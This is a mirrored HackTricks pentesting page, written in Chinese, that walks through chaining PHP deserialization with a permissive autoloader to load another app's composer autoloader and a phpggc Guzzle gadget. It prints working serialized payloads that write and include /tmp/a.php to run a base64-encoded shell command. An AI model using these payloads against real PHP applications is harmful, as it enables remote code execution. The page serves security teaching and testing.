mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
65 lines
5.2 KiB
Markdown
65 lines
5.2 KiB
Markdown
# PHP - 反序列化 + 自动加载类
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
首先,您应该检查什么是 [**自动加载类**](https://www.php.net/manual/en/language.oop5.autoload.php)。
|
||
|
||
## PHP 反序列化 + spl_autoload_register + LFI/Gadget
|
||
|
||
我们处于一种情况,发现了一个 **webapp 中的 PHP 反序列化**,并且 **没有** 在 **`phpggc`** 中的库易受攻击的 gadget。然而,在同一个容器中有一个 **不同的 composer webapp,里面有易受攻击的库**。因此,目标是 **加载另一个 webapp 的 composer 加载器** 并利用它 **加载一个 gadget 来利用该库中的 gadget**,该库易受反序列化攻击。
|
||
|
||
步骤:
|
||
|
||
- 您发现了一个 **反序列化**,并且 **当前应用代码中没有任何 gadget**
|
||
- 您可以利用 **`spl_autoload_register`** 函数,如下所示,以 **加载任何本地文件,扩展名为 `.php`**
|
||
- 为此,您使用一个反序列化,其中类的名称将位于 **`$name`** 中。您 **不能在序列化对象的类名中使用 "/" 或 "."**,但是 **代码** 正在 **将** **下划线** ("\_") **替换为斜杠** ("/")。因此,像 `tmp_passwd` 这样的类名将被转换为 `/tmp/passwd.php`,代码将尝试加载它。\
|
||
一个 **gadget 示例** 将是: **`O:10:"tmp_passwd":0:{}`**
|
||
```php
|
||
spl_autoload_register(function ($name) {
|
||
|
||
if (preg_match('/Controller$/', $name)) {
|
||
$name = "controllers/${name}";
|
||
} elseif (preg_match('/Model$/', $name)) {
|
||
$name = "models/${name}";
|
||
} elseif (preg_match('/_/', $name)) {
|
||
$name = preg_replace('/_/', '/', $name);
|
||
}
|
||
|
||
$filename = "/${name}.php";
|
||
|
||
if (file_exists($filename)) {
|
||
require $filename;
|
||
}
|
||
elseif (file_exists(__DIR__ . $filename)) {
|
||
require __DIR__ . $filename;
|
||
}
|
||
});
|
||
```
|
||
> [!TIP]
|
||
> 如果你有一个 **文件上传** 并且可以上传一个 **`.php` 扩展名** 的文件,你可以 **直接利用这个功能** 并获得 RCE。
|
||
|
||
在我的情况下,我没有这样的东西,但在 **同一个容器** 内有另一个 composer 网页,里面有一个 **易受攻击的 `phpggc` 小工具**。
|
||
|
||
- 要加载这个其他库,首先你需要 **加载那个其他 web 应用的 composer 加载器**(因为当前应用的加载器无法访问另一个的库)。**知道应用的路径**,你可以很容易地实现这一点:**`O:28:"www_frontend_vendor_autoload":0:{}`**(在我的情况下,composer 加载器在 `/www/frontend/vendor/autoload.php`)
|
||
- 现在,你可以 **加载** 其他 **应用的 composer 加载器**,所以是时候 **`生成 phpgcc`** **有效载荷** 来使用。在我的情况下,我使用了 **`Guzzle/FW1`**,这让我可以 **在文件系统内写入任何文件**。
|
||
- 注意:**生成的小工具没有工作**,为了让它工作,我 **修改** 了那个有效载荷 **`chain.php`** 的 phpggc,并将 **所有属性** 的类 **从私有改为公共**。如果不这样做,反序列化字符串后,创建的对象的属性将没有任何值。
|
||
- 现在我们有了 **加载其他应用的 composer 加载器** 的方法,并且有一个 **有效的 phpggc 有效载荷**,但我们需要 **在同一个请求中执行此操作,以便在使用小工具时加载加载器**。为此,我发送了一个序列化数组,包含两个对象,如下所示:
|
||
- 你可以看到 **首先加载加载器,然后是有效载荷**。
|
||
```php
|
||
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
|
||
```
|
||
- 现在,我们可以**创建和写入文件**,但是用户**无法在web服务器的任何文件夹中写入**。因此,如您在有效负载中所见,PHP调用**`system`**并创建了一些**base64**在**`/tmp/a.php`**中。然后,我们可以**重用我们用于LFI的第一种有效负载**来加载另一个web应用程序的composer加载器**以加载生成的`/tmp/a.php`**文件。只需将其添加到反序列化小工具中: 
|
||
```php
|
||
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
|
||
```
|
||
**有效载荷摘要**
|
||
|
||
- **加载同一容器中另一个webapp的composer自动加载**
|
||
- **加载phpggc小工具**以滥用另一个webapp的库(最初易受反序列化攻击的webapp的库中没有任何小工具)
|
||
- 该小工具将**在/tmp/a.php中创建一个包含PHP有效载荷**的文件,文件中包含恶意命令(webapp用户无法在任何webapp的任何文件夹中写入)
|
||
- 我们有效载荷的最后部分将使用**加载生成的php文件**来执行命令
|
||
|
||
我需要**调用这个反序列化两次**。在我的测试中,第一次创建了`/tmp/a.php`文件但未加载,第二次则正确加载。
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|